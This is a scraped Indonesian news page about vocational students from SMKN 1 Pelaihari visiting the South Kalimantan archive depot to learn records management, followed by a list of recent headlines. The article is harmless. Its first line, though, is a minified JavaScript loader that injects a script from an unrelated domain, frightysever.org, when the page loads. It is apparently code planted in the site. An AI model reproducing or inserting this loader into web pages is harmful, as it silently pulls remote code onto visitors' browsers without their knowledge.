(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dispersip Kalsel

Kunjungi Depo Arsip Kalsel, SMKN 1 Pelaihari Belajar Pengelolaan Kearsipan


KANALKALIMANTAN.COM, BANJARBARU – Depo Arsip Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) mendapat kunjungan dari pelajar, Rabu (9/11/2022). Kali ini giliran pelajar SMK Negeri 1 Pelaihari yang datang untuk belajar pengelolaan hingga pemusnahan arsip.

Siswa SMK Negeri 1 Pelaihari, Nahli Arida mengatakan, kunjungan ini sangat bermanfaat baginya guna menambah ilmu di dunia kearsipan.

“Yang diambil di sini dari kegiatan pengelolaan arsipnya, klasifikasi arsipnya, ini sangat berguna di jurusan,” katanya.

Menurutnya sangat berbeda ketika dirinya belajar di Depo Arsip dan di sekolahnya, dikarenakan di sekolah masih memakai yang terdahulu.

 

Baca juga : Kendalikan Inflasi, Dinas Koperasi UKM Provinsi Kalsel Gelar Pasar Rakyat di HSU

“Di sekolah masih manual belum digitalisasi,” ungkapnya.

Di tempat yang sama, guru SMK Negeri 1 Pelaihari, Hertati mengatakan tujuan kedatangan ke Depo Arsip Dispersip Kalsel untuk mempelajari lebih mendalam mengenai kearsipan.

“Untuk mempelajari bagaimana cara-cara pengelolaan arsip, baik penyimpanan, penemuan kembali serta aturannya,” katanya.

Diungkapkan Hartati, di SMK Negeri 1 Pelaihari pengelolaan kearsipan masih dengan cara manual, belum ke arah digitalisasi.

Kunjungan ini, kata Hartati, diikuti sebanyak 71 siswa baik kelas 11 dan 12 jurusan otomotifisasi tata kelola perkantoran beserta guru pendamping sebanyak 6 orang.

Baca juga  : Lagi-lagi Gagal Temui Paman Birin, Massa Aksi Hanya Bisa Telan Kecewa

“Walau beberapa jam, anak-anak bisa menimba ilmu, mendapatkan masukan dan bisa magang di Depo Arsip, mau menerima kami untuk studi banding,” harapnya.

Kepala Bidang Pengelolaan Arsip Dispersip Kalsel, Riza Fahlevi mengatakan, kedatangan 71 peserta didik beserta dewan guru di Depo Arsip Dispersip Kalsel di Banjarbaru.

“SMK ini kan memang ada jurusan tata usaha, sehingga mereka membidangi terkait arsip,” katanya.

Disambung Riza, Depo Arsip Dispersip Kalsel terbuka siapapun yang ingin berkunjung dan mempelajari kearsipan pihaknya akan selalu siap melayani.

Baca juga  : Benahi Mutu Satuan Pendidik, Disdikbud HSU Gelar Sosialisasi Rapor Pendidikan

“Yang kami berikan kepada mereka terkait pengelolaan arsip, pengklasifikasian arsip sampai pemusnahan arsipnya,” ungkapnya.

Dengan adanya kunjungan seperti ini, diakui Riza, Depo Arsip di Banjarbaru sudah sangat terbatas, sehingga perlu adanya pembangunan gedung baru yang direncanakan di pusat perkantoran. Agar para pengunjung lebih puas dalam mempelajari arsip ini.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Masjid Agung Al Akbar Balangan Sedia 200 Porsi Berbuka Puasa

KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More

1 jam ago

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

2 jam ago

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

14 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

14 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

17 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

23 jam ago

This website uses cookies.